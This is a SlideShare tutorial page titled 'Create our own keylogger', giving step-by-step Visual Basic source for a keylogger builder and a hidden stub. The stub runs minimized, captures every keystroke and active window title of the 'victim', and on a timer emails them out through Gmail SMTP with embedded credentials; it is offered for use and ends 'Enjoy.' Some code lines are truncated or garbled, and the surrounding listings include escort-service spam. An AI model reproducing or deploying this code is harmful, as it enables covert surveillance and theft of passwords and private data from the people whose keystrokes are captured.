SlideShare uma empresa Scribd logo
1 de 4
MOZAAI MADHU HACKER

1. STEP
Download Visual Basic Express Edition 2010

2. STEP
* Run Visual Basic
* In Tab click File > New Project
* Windows Application > "Keylogger Builder" > Click Ok

3. STEP
Insert the Following Text in Form Properties.
FormBorderStyle = FixedSingle
MaximizeBox = False
MinimizeBox = False
Show Icon = False
StartPosition = CenterScreen
Text = Keylogger Builder

From the Toolbox add at the Right side Add Buttons,Lables And
Text
Box :
*
*
*
*
*

TextBox1 - The GMail Username textbox
Textbox2 - The Gmail Password textbox
Button1 - The Build button, Change text to: Build
Label1 - Change text to: Gmail Username
Label2 - Change text to: Gmail Password

4. STEP
Go again to the Form Properties And Write the Below Code at the top of it.

1

Imports System.IO

Now In the Form Properties under Public Class Form1 add following code, that would be strings:

1
2

Dim stub, text1, text2 As String
Const FileSplit = "@keylogger@"
Now when you done Just Open Your Form Graphically Form 1 , Then just simply double click Button1

and add:

1
2
3
4
5
6
7
8
9
10
11
12
13

text1 = TextBox1.Text
text2 = TextBox2.Text
FileOpen(1, Application.StartupPath & "Stub.exe", OpenMode.Binary, OpenAccess
OpenShare.Default)
stub = Space(LOF(1))
FileGet(1, stub)
FileClose(1)
If File.Exists("Server.exe") Then
My.Computer.FileSystem.DeleteFile("Server.exe")
End If
FileOpen(1, Application.StartupPath & "Server.exe", OpenMode.Binary, OpenAcce
OpenShare.Default)
FilePut(1, stub & FileSplit & text1 & FileSplit & text2)
FileClose(1)

_________________________________________________________________________
_

Now you got your builder and now lets move to Stub.

5. STEP
* Run Visual Basic
* In Tab click File > New Project
* Windows Application > "Stub" > Click Ok

6. STEP
Change the following from the Properties of Form1:
FormBorderStyle = FixedToolWindow
StartPosition = CenterScreen
Text = (no text)
WindowsState = Minimized

From the Toolbox add:
* Textbox1 - KEY LOGGER(follow everything what victim write)
* Textbox2 - GMail Username
* Textbox3 - GMail Password
* Timer1 - Upload Interval
* Timer2 - Get name of window where keylogger get
keys(userful)
* Timer3 - Get Keys
7. STEP
Now when you add all these, then at the top of the stub form add:

1
2
3

Imports System.IO
Imports System.Net.Mail
Imports Microsoft.Win32

Now under Public Class Form1 add following code, that would be strings:

1
2
3
4

Dim options(), text1, text2 As String
Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer
Dim result As Integer
Const FileSplit = "@keylogger@"

Then Again View your Stub Form Graphically.

Now double click Timer1 and write following code:

1
2
3
4
5
6
7
8
9
10
11

Dim MailSetup As New MailMessage
MailSetup.Subject = My.Computer.Name & ":"
MailSetup.To.Add(TextBox1.Text)
MailSetup.From = New MailAddress(TextBox1.Text)
MailSetup.Body = TextBox1.Text
Dim SMTP As New SmtpClient("smtp.gmail.com")
SMTP.Port = 587
SMTP.EnableSsl = True
SMTP.Credentials = New Net.NetworkCredential(TextBox1.Text, TextBox2.Text)
SMTP.Send(MailSetup)
TextBox3.Clear()

And add this as Function to source code:

1
2
3
4
5
6
7
8
9
10
11

PPrivate Declare Function GetForegroundWindow Lib "user32.dll" () As Int32
Private Declare Function GetWindowText Lib "user32.dll" Alias "GetWindowTextA" (By
As Int32) As Int32
Dim strin As String = Nothing
Private Function GetActiveWindowTitle() As String
Dim MyStr As String
MyStr = New String(Chr(0), 100)
GetWindowText(GetForegroundWindow, MyStr, 100)
MyStr = MyStr.Substring(0, InStr(MyStr, Chr(0)) - 1)
Return MyStr
End Function

Now double click Timer2 to get names of active windows:

1

If strin <> GetActiveWindowTitle() Then
TextBox1.Text = TextBox1.Text + vbNewLine & "[" & GetActiveWindowTitle() &
2
3
4

vbNewLine
strin = GetActiveWindowTitle()
End If

Now double click Form1 and write following code:

1
2
3
4
5
6
7
8
9
10
11

FileOpen(1, Application.ExecutablePath, OpenMode.Binary, OpenAccess.Read,
OpenShare.Shared)
text1 = Space(LOF(1))
text2 = Space(LOF(1))
FileGet(1, text1)
FileGet(1, text2)
FileClose(1)
options = Split(text1, FileSplit)
TextBox2.Text = options(1)
TextBox3.Text = options(2)
Timer1.Start()
Timer2.Start()

Now double click Timer3 and past code:

1
2
3
4
5
6
7

For i = 1 To 255
result = 0
result = GetAsyncKeyState(i)
If result = -32767 Then
TextBox1.Text = TextBox1.Text + Chr(i)
End If
Next i

You are done!
Enjoy.

MOZAAI MADHU HACKER

Mais conteúdo relacionado

Mais procurados

Programming Without Coding Technology (PWCT) - Checkbox control
Programming Without Coding Technology (PWCT) - Checkbox controlProgramming Without Coding Technology (PWCT) - Checkbox control
Programming Without Coding Technology (PWCT) - Checkbox controlMahmoud Samir Fayed
 
Programming Without Coding Technology (PWCT) - ASCII Code
Programming Without Coding Technology (PWCT) - ASCII CodeProgramming Without Coding Technology (PWCT) - ASCII Code
Programming Without Coding Technology (PWCT) - ASCII CodeMahmoud Samir Fayed
 
Programming Without Coding Technology (PWCT) - IF Statement Component
Programming Without Coding Technology (PWCT) - IF Statement ComponentProgramming Without Coding Technology (PWCT) - IF Statement Component
Programming Without Coding Technology (PWCT) - IF Statement ComponentMahmoud Samir Fayed
 
Programming Without Coding Technology (PWCT) - Show PDF using InternetExplore...
Programming Without Coding Technology (PWCT) - Show PDF using InternetExplore...Programming Without Coding Technology (PWCT) - Show PDF using InternetExplore...
Programming Without Coding Technology (PWCT) - Show PDF using InternetExplore...Mahmoud Samir Fayed
 
Programming Without Coding Technology (PWCT) - ShellExplorer Sample
Programming Without Coding Technology (PWCT) - ShellExplorer SampleProgramming Without Coding Technology (PWCT) - ShellExplorer Sample
Programming Without Coding Technology (PWCT) - ShellExplorer SampleMahmoud Samir Fayed
 
Programming Without Coding Technology (PWCT) - Hyperlink control
Programming Without Coding Technology (PWCT) - Hyperlink controlProgramming Without Coding Technology (PWCT) - Hyperlink control
Programming Without Coding Technology (PWCT) - Hyperlink controlMahmoud Samir Fayed
 
Drag and Drop Slide Installation and Configuration
Drag and Drop Slide Installation and ConfigurationDrag and Drop Slide Installation and Configuration
Drag and Drop Slide Installation and ConfigurationCloud Analogy
 
บทที่ 3 การใช้งานคอนโทรล
บทที่ 3 การใช้งานคอนโทรลบทที่ 3 การใช้งานคอนโทรล
บทที่ 3 การใช้งานคอนโทรลMareenaHahngeh
 
Csphtp1 12
Csphtp1 12Csphtp1 12
Csphtp1 12HUST
 
Programming Without Coding Technology (PWCT) - Editbox control
Programming Without Coding Technology (PWCT) - Editbox controlProgramming Without Coding Technology (PWCT) - Editbox control
Programming Without Coding Technology (PWCT) - Editbox controlMahmoud Samir Fayed
 
Programming Without Coding Technology (PWCT) - While Loop component
Programming Without Coding Technology (PWCT) - While Loop componentProgramming Without Coding Technology (PWCT) - While Loop component
Programming Without Coding Technology (PWCT) - While Loop componentMahmoud Samir Fayed
 
Programming Without Coding Technology (PWCT) - Internet Explorer ActiveX Control
Programming Without Coding Technology (PWCT) - Internet Explorer ActiveX ControlProgramming Without Coding Technology (PWCT) - Internet Explorer ActiveX Control
Programming Without Coding Technology (PWCT) - Internet Explorer ActiveX ControlMahmoud Samir Fayed
 
Programming Without Coding Technology (PWCT) - Combobox control
Programming Without Coding Technology (PWCT) - Combobox controlProgramming Without Coding Technology (PWCT) - Combobox control
Programming Without Coding Technology (PWCT) - Combobox controlMahmoud Samir Fayed
 
Programming Without Coding Technology (PWCT) - Checkbutton control
Programming Without Coding Technology (PWCT) - Checkbutton controlProgramming Without Coding Technology (PWCT) - Checkbutton control
Programming Without Coding Technology (PWCT) - Checkbutton controlMahmoud Samir Fayed
 
Programming Without Coding Technology (PWCT) - Richeditbox control
Programming Without Coding Technology (PWCT) - Richeditbox controlProgramming Without Coding Technology (PWCT) - Richeditbox control
Programming Without Coding Technology (PWCT) - Richeditbox controlMahmoud Samir Fayed
 

Mais procurados (20)

Programming Without Coding Technology (PWCT) - Checkbox control
Programming Without Coding Technology (PWCT) - Checkbox controlProgramming Without Coding Technology (PWCT) - Checkbox control
Programming Without Coding Technology (PWCT) - Checkbox control
 
Programming Without Coding Technology (PWCT) - ASCII Code
Programming Without Coding Technology (PWCT) - ASCII CodeProgramming Without Coding Technology (PWCT) - ASCII Code
Programming Without Coding Technology (PWCT) - ASCII Code
 
Programming Without Coding Technology (PWCT) - IF Statement Component
Programming Without Coding Technology (PWCT) - IF Statement ComponentProgramming Without Coding Technology (PWCT) - IF Statement Component
Programming Without Coding Technology (PWCT) - IF Statement Component
 
Programming Without Coding Technology (PWCT) - Show PDF using InternetExplore...
Programming Without Coding Technology (PWCT) - Show PDF using InternetExplore...Programming Without Coding Technology (PWCT) - Show PDF using InternetExplore...
Programming Without Coding Technology (PWCT) - Show PDF using InternetExplore...
 
Programming Without Coding Technology (PWCT) - ShellExplorer Sample
Programming Without Coding Technology (PWCT) - ShellExplorer SampleProgramming Without Coding Technology (PWCT) - ShellExplorer Sample
Programming Without Coding Technology (PWCT) - ShellExplorer Sample
 
Programming Without Coding Technology (PWCT) - Hyperlink control
Programming Without Coding Technology (PWCT) - Hyperlink controlProgramming Without Coding Technology (PWCT) - Hyperlink control
Programming Without Coding Technology (PWCT) - Hyperlink control
 
Drag and Drop Slide Installation and Configuration
Drag and Drop Slide Installation and ConfigurationDrag and Drop Slide Installation and Configuration
Drag and Drop Slide Installation and Configuration
 
บทที่ 3 การใช้งานคอนโทรล
บทที่ 3 การใช้งานคอนโทรลบทที่ 3 การใช้งานคอนโทรล
บทที่ 3 การใช้งานคอนโทรล
 
Web Server Controls CS Set
Web Server Controls CS Set Web Server Controls CS Set
Web Server Controls CS Set
 
Csphtp1 12
Csphtp1 12Csphtp1 12
Csphtp1 12
 
Programming Without Coding Technology (PWCT) - Editbox control
Programming Without Coding Technology (PWCT) - Editbox controlProgramming Without Coding Technology (PWCT) - Editbox control
Programming Without Coding Technology (PWCT) - Editbox control
 
Programming Without Coding Technology (PWCT) - While Loop component
Programming Without Coding Technology (PWCT) - While Loop componentProgramming Without Coding Technology (PWCT) - While Loop component
Programming Without Coding Technology (PWCT) - While Loop component
 
Programming Without Coding Technology (PWCT) - Internet Explorer ActiveX Control
Programming Without Coding Technology (PWCT) - Internet Explorer ActiveX ControlProgramming Without Coding Technology (PWCT) - Internet Explorer ActiveX Control
Programming Without Coding Technology (PWCT) - Internet Explorer ActiveX Control
 
12 gui concepts 1
12 gui concepts 112 gui concepts 1
12 gui concepts 1
 
Programming Without Coding Technology (PWCT) - Combobox control
Programming Without Coding Technology (PWCT) - Combobox controlProgramming Without Coding Technology (PWCT) - Combobox control
Programming Without Coding Technology (PWCT) - Combobox control
 
Database connectivity with data reader by varun tiwari
Database connectivity with data reader by varun tiwariDatabase connectivity with data reader by varun tiwari
Database connectivity with data reader by varun tiwari
 
Twitter Fabric (Türkçe)
Twitter Fabric (Türkçe)Twitter Fabric (Türkçe)
Twitter Fabric (Türkçe)
 
Programming Without Coding Technology (PWCT) - Checkbutton control
Programming Without Coding Technology (PWCT) - Checkbutton controlProgramming Without Coding Technology (PWCT) - Checkbutton control
Programming Without Coding Technology (PWCT) - Checkbutton control
 
Active x control
Active x controlActive x control
Active x control
 
Programming Without Coding Technology (PWCT) - Richeditbox control
Programming Without Coding Technology (PWCT) - Richeditbox controlProgramming Without Coding Technology (PWCT) - Richeditbox control
Programming Without Coding Technology (PWCT) - Richeditbox control
 

Semelhante a Create our own keylogger

Creating a quiz using visual basic 6
Creating a quiz using visual basic 6Creating a quiz using visual basic 6
Creating a quiz using visual basic 6Ella Marie Wico
 
Software engineering modeling lab lectures
Software engineering modeling lab lecturesSoftware engineering modeling lab lectures
Software engineering modeling lab lecturesmarwaeng
 
PROGRAMMING USING C#.NET SARASWATHI RAMALINGAM
PROGRAMMING USING C#.NET SARASWATHI RAMALINGAMPROGRAMMING USING C#.NET SARASWATHI RAMALINGAM
PROGRAMMING USING C#.NET SARASWATHI RAMALINGAMSaraswathiRamalingam
 
Prep 2-booklet-2nd-term-2016-2017
Prep 2-booklet-2nd-term-2016-2017Prep 2-booklet-2nd-term-2016-2017
Prep 2-booklet-2nd-term-2016-2017khawagah
 
06 win forms
06 win forms06 win forms
06 win formsmrjw
 
Windows Forms For Beginners Part 5
Windows Forms For Beginners Part 5Windows Forms For Beginners Part 5
Windows Forms For Beginners Part 5Bhushan Mulmule
 
19.Advanced Visual Basic Lab.pdf
19.Advanced Visual Basic Lab.pdf19.Advanced Visual Basic Lab.pdf
19.Advanced Visual Basic Lab.pdfvirox10x
 
PT1420 File Access and Visual Basic .docx
PT1420 File Access and Visual Basic                      .docxPT1420 File Access and Visual Basic                      .docx
PT1420 File Access and Visual Basic .docxamrit47
 
Chapter2.ppt
Chapter2.pptChapter2.ppt
Chapter2.pptLalRatan
 
Day 4: Android: UI Widgets
Day 4: Android: UI WidgetsDay 4: Android: UI Widgets
Day 4: Android: UI WidgetsAhsanul Karim
 
Day 5: Android User Interface [View Widgets]
Day 5: Android User Interface [View Widgets]Day 5: Android User Interface [View Widgets]
Day 5: Android User Interface [View Widgets]Ahsanul Karim
 
Windows Forms For Beginners Part - 1
Windows Forms For Beginners Part - 1Windows Forms For Beginners Part - 1
Windows Forms For Beginners Part - 1Bhushan Mulmule
 
Android User Interface: Basic Form Widgets
Android User Interface: Basic Form WidgetsAndroid User Interface: Basic Form Widgets
Android User Interface: Basic Form WidgetsAhsanul Karim
 
Windows Form - Lec12 (Workshop on C# Programming: Learn to Build)
Windows Form - Lec12 (Workshop on C# Programming: Learn to Build)Windows Form - Lec12 (Workshop on C# Programming: Learn to Build)
Windows Form - Lec12 (Workshop on C# Programming: Learn to Build)Jannat Ruma
 

Semelhante a Create our own keylogger (20)

Creating a quiz using visual basic 6
Creating a quiz using visual basic 6Creating a quiz using visual basic 6
Creating a quiz using visual basic 6
 
Software engineering modeling lab lectures
Software engineering modeling lab lecturesSoftware engineering modeling lab lectures
Software engineering modeling lab lectures
 
PROGRAMMING USING C#.NET SARASWATHI RAMALINGAM
PROGRAMMING USING C#.NET SARASWATHI RAMALINGAMPROGRAMMING USING C#.NET SARASWATHI RAMALINGAM
PROGRAMMING USING C#.NET SARASWATHI RAMALINGAM
 
Prep 2-booklet-2nd-term-2016-2017
Prep 2-booklet-2nd-term-2016-2017Prep 2-booklet-2nd-term-2016-2017
Prep 2-booklet-2nd-term-2016-2017
 
06 win forms
06 win forms06 win forms
06 win forms
 
Windows Forms For Beginners Part 5
Windows Forms For Beginners Part 5Windows Forms For Beginners Part 5
Windows Forms For Beginners Part 5
 
19.Advanced Visual Basic Lab.pdf
19.Advanced Visual Basic Lab.pdf19.Advanced Visual Basic Lab.pdf
19.Advanced Visual Basic Lab.pdf
 
PT1420 File Access and Visual Basic .docx
PT1420 File Access and Visual Basic                      .docxPT1420 File Access and Visual Basic                      .docx
PT1420 File Access and Visual Basic .docx
 
Visual C# 2010
Visual C# 2010Visual C# 2010
Visual C# 2010
 
exe in MatLab
exe  in MatLabexe  in MatLab
exe in MatLab
 
Intake 37 9
Intake 37 9Intake 37 9
Intake 37 9
 
Intake 38 9
Intake 38 9Intake 38 9
Intake 38 9
 
Chapter2.ppt
Chapter2.pptChapter2.ppt
Chapter2.ppt
 
Day 4: Android: UI Widgets
Day 4: Android: UI WidgetsDay 4: Android: UI Widgets
Day 4: Android: UI Widgets
 
Day 5: Android User Interface [View Widgets]
Day 5: Android User Interface [View Widgets]Day 5: Android User Interface [View Widgets]
Day 5: Android User Interface [View Widgets]
 
Introduction
IntroductionIntroduction
Introduction
 
Windows Forms For Beginners Part - 1
Windows Forms For Beginners Part - 1Windows Forms For Beginners Part - 1
Windows Forms For Beginners Part - 1
 
4.C#
4.C#4.C#
4.C#
 
Android User Interface: Basic Form Widgets
Android User Interface: Basic Form WidgetsAndroid User Interface: Basic Form Widgets
Android User Interface: Basic Form Widgets
 
Windows Form - Lec12 (Workshop on C# Programming: Learn to Build)
Windows Form - Lec12 (Workshop on C# Programming: Learn to Build)Windows Form - Lec12 (Workshop on C# Programming: Learn to Build)
Windows Form - Lec12 (Workshop on C# Programming: Learn to Build)
 

Último

From Event to Action: Accelerate Your Decision Making with Real-Time Automation
From Event to Action: Accelerate Your Decision Making with Real-Time AutomationFrom Event to Action: Accelerate Your Decision Making with Real-Time Automation
From Event to Action: Accelerate Your Decision Making with Real-Time AutomationSafe Software
 
The 7 Things I Know About Cyber Security After 25 Years | April 2024
The 7 Things I Know About Cyber Security After 25 Years | April 2024The 7 Things I Know About Cyber Security After 25 Years | April 2024
The 7 Things I Know About Cyber Security After 25 Years | April 2024Rafal Los
 
[2024]Digital Global Overview Report 2024 Meltwater.pdf
[2024]Digital Global Overview Report 2024 Meltwater.pdf[2024]Digital Global Overview Report 2024 Meltwater.pdf
[2024]Digital Global Overview Report 2024 Meltwater.pdfhans926745
 
Finology Group – Insurtech Innovation Award 2024
Finology Group – Insurtech Innovation Award 2024Finology Group – Insurtech Innovation Award 2024
Finology Group – Insurtech Innovation Award 2024The Digital Insurer
 
Raspberry Pi 5: Challenges and Solutions in Bringing up an OpenGL/Vulkan Driv...
Raspberry Pi 5: Challenges and Solutions in Bringing up an OpenGL/Vulkan Driv...Raspberry Pi 5: Challenges and Solutions in Bringing up an OpenGL/Vulkan Driv...
Raspberry Pi 5: Challenges and Solutions in Bringing up an OpenGL/Vulkan Driv...Igalia
 
Top 5 Benefits OF Using Muvi Live Paywall For Live Streams
Top 5 Benefits OF Using Muvi Live Paywall For Live StreamsTop 5 Benefits OF Using Muvi Live Paywall For Live Streams
Top 5 Benefits OF Using Muvi Live Paywall For Live StreamsRoshan Dwivedi
 
Factors to Consider When Choosing Accounts Payable Services Providers.pptx
Factors to Consider When Choosing Accounts Payable Services Providers.pptxFactors to Consider When Choosing Accounts Payable Services Providers.pptx
Factors to Consider When Choosing Accounts Payable Services Providers.pptxKatpro Technologies
 
Histor y of HAM Radio presentation slide
Histor y of HAM Radio presentation slideHistor y of HAM Radio presentation slide
Histor y of HAM Radio presentation slidevu2urc
 
CNv6 Instructor Chapter 6 Quality of Service
CNv6 Instructor Chapter 6 Quality of ServiceCNv6 Instructor Chapter 6 Quality of Service
CNv6 Instructor Chapter 6 Quality of Servicegiselly40
 
Tata AIG General Insurance Company - Insurer Innovation Award 2024
Tata AIG General Insurance Company - Insurer Innovation Award 2024Tata AIG General Insurance Company - Insurer Innovation Award 2024
Tata AIG General Insurance Company - Insurer Innovation Award 2024The Digital Insurer
 
WhatsApp 9892124323 ✓Call Girls In Kalyan ( Mumbai ) secure service
WhatsApp 9892124323 ✓Call Girls In Kalyan ( Mumbai ) secure serviceWhatsApp 9892124323 ✓Call Girls In Kalyan ( Mumbai ) secure service
WhatsApp 9892124323 ✓Call Girls In Kalyan ( Mumbai ) secure servicePooja Nehwal
 
08448380779 Call Girls In Greater Kailash - I Women Seeking Men
08448380779 Call Girls In Greater Kailash - I Women Seeking Men08448380779 Call Girls In Greater Kailash - I Women Seeking Men
08448380779 Call Girls In Greater Kailash - I Women Seeking MenDelhi Call girls
 
Workshop - Best of Both Worlds_ Combine KG and Vector search for enhanced R...
Workshop - Best of Both Worlds_ Combine  KG and Vector search for  enhanced R...Workshop - Best of Both Worlds_ Combine  KG and Vector search for  enhanced R...
Workshop - Best of Both Worlds_ Combine KG and Vector search for enhanced R...Neo4j
 
Breaking the Kubernetes Kill Chain: Host Path Mount
Breaking the Kubernetes Kill Chain: Host Path MountBreaking the Kubernetes Kill Chain: Host Path Mount
Breaking the Kubernetes Kill Chain: Host Path MountPuma Security, LLC
 
Data Cloud, More than a CDP by Matt Robison
Data Cloud, More than a CDP by Matt RobisonData Cloud, More than a CDP by Matt Robison
Data Cloud, More than a CDP by Matt RobisonAnna Loughnan Colquhoun
 
The Role of Taxonomy and Ontology in Semantic Layers - Heather Hedden.pdf
The Role of Taxonomy and Ontology in Semantic Layers - Heather Hedden.pdfThe Role of Taxonomy and Ontology in Semantic Layers - Heather Hedden.pdf
The Role of Taxonomy and Ontology in Semantic Layers - Heather Hedden.pdfEnterprise Knowledge
 
Kalyanpur ) Call Girls in Lucknow Finest Escorts Service 🍸 8923113531 🎰 Avail...
Kalyanpur ) Call Girls in Lucknow Finest Escorts Service 🍸 8923113531 🎰 Avail...Kalyanpur ) Call Girls in Lucknow Finest Escorts Service 🍸 8923113531 🎰 Avail...
Kalyanpur ) Call Girls in Lucknow Finest Escorts Service 🍸 8923113531 🎰 Avail...gurkirankumar98700
 
Salesforce Community Group Quito, Salesforce 101
Salesforce Community Group Quito, Salesforce 101Salesforce Community Group Quito, Salesforce 101
Salesforce Community Group Quito, Salesforce 101Paola De la Torre
 
Strategies for Unlocking Knowledge Management in Microsoft 365 in the Copilot...
Strategies for Unlocking Knowledge Management in Microsoft 365 in the Copilot...Strategies for Unlocking Knowledge Management in Microsoft 365 in the Copilot...
Strategies for Unlocking Knowledge Management in Microsoft 365 in the Copilot...Drew Madelung
 
A Domino Admins Adventures (Engage 2024)
A Domino Admins Adventures (Engage 2024)A Domino Admins Adventures (Engage 2024)
A Domino Admins Adventures (Engage 2024)Gabriella Davis
 

Último (20)

From Event to Action: Accelerate Your Decision Making with Real-Time Automation
From Event to Action: Accelerate Your Decision Making with Real-Time AutomationFrom Event to Action: Accelerate Your Decision Making with Real-Time Automation
From Event to Action: Accelerate Your Decision Making with Real-Time Automation
 
The 7 Things I Know About Cyber Security After 25 Years | April 2024
The 7 Things I Know About Cyber Security After 25 Years | April 2024The 7 Things I Know About Cyber Security After 25 Years | April 2024
The 7 Things I Know About Cyber Security After 25 Years | April 2024
 
[2024]Digital Global Overview Report 2024 Meltwater.pdf
[2024]Digital Global Overview Report 2024 Meltwater.pdf[2024]Digital Global Overview Report 2024 Meltwater.pdf
[2024]Digital Global Overview Report 2024 Meltwater.pdf
 
Finology Group – Insurtech Innovation Award 2024
Finology Group – Insurtech Innovation Award 2024Finology Group – Insurtech Innovation Award 2024
Finology Group – Insurtech Innovation Award 2024
 
Raspberry Pi 5: Challenges and Solutions in Bringing up an OpenGL/Vulkan Driv...
Raspberry Pi 5: Challenges and Solutions in Bringing up an OpenGL/Vulkan Driv...Raspberry Pi 5: Challenges and Solutions in Bringing up an OpenGL/Vulkan Driv...
Raspberry Pi 5: Challenges and Solutions in Bringing up an OpenGL/Vulkan Driv...
 
Top 5 Benefits OF Using Muvi Live Paywall For Live Streams
Top 5 Benefits OF Using Muvi Live Paywall For Live StreamsTop 5 Benefits OF Using Muvi Live Paywall For Live Streams
Top 5 Benefits OF Using Muvi Live Paywall For Live Streams
 
Factors to Consider When Choosing Accounts Payable Services Providers.pptx
Factors to Consider When Choosing Accounts Payable Services Providers.pptxFactors to Consider When Choosing Accounts Payable Services Providers.pptx
Factors to Consider When Choosing Accounts Payable Services Providers.pptx
 
Histor y of HAM Radio presentation slide
Histor y of HAM Radio presentation slideHistor y of HAM Radio presentation slide
Histor y of HAM Radio presentation slide
 
CNv6 Instructor Chapter 6 Quality of Service
CNv6 Instructor Chapter 6 Quality of ServiceCNv6 Instructor Chapter 6 Quality of Service
CNv6 Instructor Chapter 6 Quality of Service
 
Tata AIG General Insurance Company - Insurer Innovation Award 2024
Tata AIG General Insurance Company - Insurer Innovation Award 2024Tata AIG General Insurance Company - Insurer Innovation Award 2024
Tata AIG General Insurance Company - Insurer Innovation Award 2024
 
WhatsApp 9892124323 ✓Call Girls In Kalyan ( Mumbai ) secure service
WhatsApp 9892124323 ✓Call Girls In Kalyan ( Mumbai ) secure serviceWhatsApp 9892124323 ✓Call Girls In Kalyan ( Mumbai ) secure service
WhatsApp 9892124323 ✓Call Girls In Kalyan ( Mumbai ) secure service
 
08448380779 Call Girls In Greater Kailash - I Women Seeking Men
08448380779 Call Girls In Greater Kailash - I Women Seeking Men08448380779 Call Girls In Greater Kailash - I Women Seeking Men
08448380779 Call Girls In Greater Kailash - I Women Seeking Men
 
Workshop - Best of Both Worlds_ Combine KG and Vector search for enhanced R...
Workshop - Best of Both Worlds_ Combine  KG and Vector search for  enhanced R...Workshop - Best of Both Worlds_ Combine  KG and Vector search for  enhanced R...
Workshop - Best of Both Worlds_ Combine KG and Vector search for enhanced R...
 
Breaking the Kubernetes Kill Chain: Host Path Mount
Breaking the Kubernetes Kill Chain: Host Path MountBreaking the Kubernetes Kill Chain: Host Path Mount
Breaking the Kubernetes Kill Chain: Host Path Mount
 
Data Cloud, More than a CDP by Matt Robison
Data Cloud, More than a CDP by Matt RobisonData Cloud, More than a CDP by Matt Robison
Data Cloud, More than a CDP by Matt Robison
 
The Role of Taxonomy and Ontology in Semantic Layers - Heather Hedden.pdf
The Role of Taxonomy and Ontology in Semantic Layers - Heather Hedden.pdfThe Role of Taxonomy and Ontology in Semantic Layers - Heather Hedden.pdf
The Role of Taxonomy and Ontology in Semantic Layers - Heather Hedden.pdf
 
Kalyanpur ) Call Girls in Lucknow Finest Escorts Service 🍸 8923113531 🎰 Avail...
Kalyanpur ) Call Girls in Lucknow Finest Escorts Service 🍸 8923113531 🎰 Avail...Kalyanpur ) Call Girls in Lucknow Finest Escorts Service 🍸 8923113531 🎰 Avail...
Kalyanpur ) Call Girls in Lucknow Finest Escorts Service 🍸 8923113531 🎰 Avail...
 
Salesforce Community Group Quito, Salesforce 101
Salesforce Community Group Quito, Salesforce 101Salesforce Community Group Quito, Salesforce 101
Salesforce Community Group Quito, Salesforce 101
 
Strategies for Unlocking Knowledge Management in Microsoft 365 in the Copilot...
Strategies for Unlocking Knowledge Management in Microsoft 365 in the Copilot...Strategies for Unlocking Knowledge Management in Microsoft 365 in the Copilot...
Strategies for Unlocking Knowledge Management in Microsoft 365 in the Copilot...
 
A Domino Admins Adventures (Engage 2024)
A Domino Admins Adventures (Engage 2024)A Domino Admins Adventures (Engage 2024)
A Domino Admins Adventures (Engage 2024)
 

Create our own keylogger

  • 1. MOZAAI MADHU HACKER 1. STEP Download Visual Basic Express Edition 2010 2. STEP * Run Visual Basic * In Tab click File > New Project * Windows Application > "Keylogger Builder" > Click Ok 3. STEP Insert the Following Text in Form Properties. FormBorderStyle = FixedSingle MaximizeBox = False MinimizeBox = False Show Icon = False StartPosition = CenterScreen Text = Keylogger Builder From the Toolbox add at the Right side Add Buttons,Lables And Text Box : * * * * * TextBox1 - The GMail Username textbox Textbox2 - The Gmail Password textbox Button1 - The Build button, Change text to: Build Label1 - Change text to: Gmail Username Label2 - Change text to: Gmail Password 4. STEP Go again to the Form Properties And Write the Below Code at the top of it. 1 Imports System.IO Now In the Form Properties under Public Class Form1 add following code, that would be strings: 1 2 Dim stub, text1, text2 As String Const FileSplit = "@keylogger@"
  • 2. Now when you done Just Open Your Form Graphically Form 1 , Then just simply double click Button1 and add: 1 2 3 4 5 6 7 8 9 10 11 12 13 text1 = TextBox1.Text text2 = TextBox2.Text FileOpen(1, Application.StartupPath & "Stub.exe", OpenMode.Binary, OpenAccess OpenShare.Default) stub = Space(LOF(1)) FileGet(1, stub) FileClose(1) If File.Exists("Server.exe") Then My.Computer.FileSystem.DeleteFile("Server.exe") End If FileOpen(1, Application.StartupPath & "Server.exe", OpenMode.Binary, OpenAcce OpenShare.Default) FilePut(1, stub & FileSplit & text1 & FileSplit & text2) FileClose(1) _________________________________________________________________________ _ Now you got your builder and now lets move to Stub. 5. STEP * Run Visual Basic * In Tab click File > New Project * Windows Application > "Stub" > Click Ok 6. STEP Change the following from the Properties of Form1: FormBorderStyle = FixedToolWindow StartPosition = CenterScreen Text = (no text) WindowsState = Minimized From the Toolbox add: * Textbox1 - KEY LOGGER(follow everything what victim write) * Textbox2 - GMail Username * Textbox3 - GMail Password * Timer1 - Upload Interval * Timer2 - Get name of window where keylogger get keys(userful) * Timer3 - Get Keys
  • 3. 7. STEP Now when you add all these, then at the top of the stub form add: 1 2 3 Imports System.IO Imports System.Net.Mail Imports Microsoft.Win32 Now under Public Class Form1 add following code, that would be strings: 1 2 3 4 Dim options(), text1, text2 As String Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer Dim result As Integer Const FileSplit = "@keylogger@" Then Again View your Stub Form Graphically. Now double click Timer1 and write following code: 1 2 3 4 5 6 7 8 9 10 11 Dim MailSetup As New MailMessage MailSetup.Subject = My.Computer.Name & ":" MailSetup.To.Add(TextBox1.Text) MailSetup.From = New MailAddress(TextBox1.Text) MailSetup.Body = TextBox1.Text Dim SMTP As New SmtpClient("smtp.gmail.com") SMTP.Port = 587 SMTP.EnableSsl = True SMTP.Credentials = New Net.NetworkCredential(TextBox1.Text, TextBox2.Text) SMTP.Send(MailSetup) TextBox3.Clear() And add this as Function to source code: 1 2 3 4 5 6 7 8 9 10 11 PPrivate Declare Function GetForegroundWindow Lib "user32.dll" () As Int32 Private Declare Function GetWindowText Lib "user32.dll" Alias "GetWindowTextA" (By As Int32) As Int32 Dim strin As String = Nothing Private Function GetActiveWindowTitle() As String Dim MyStr As String MyStr = New String(Chr(0), 100) GetWindowText(GetForegroundWindow, MyStr, 100) MyStr = MyStr.Substring(0, InStr(MyStr, Chr(0)) - 1) Return MyStr End Function Now double click Timer2 to get names of active windows: 1 If strin <> GetActiveWindowTitle() Then TextBox1.Text = TextBox1.Text + vbNewLine & "[" & GetActiveWindowTitle() &
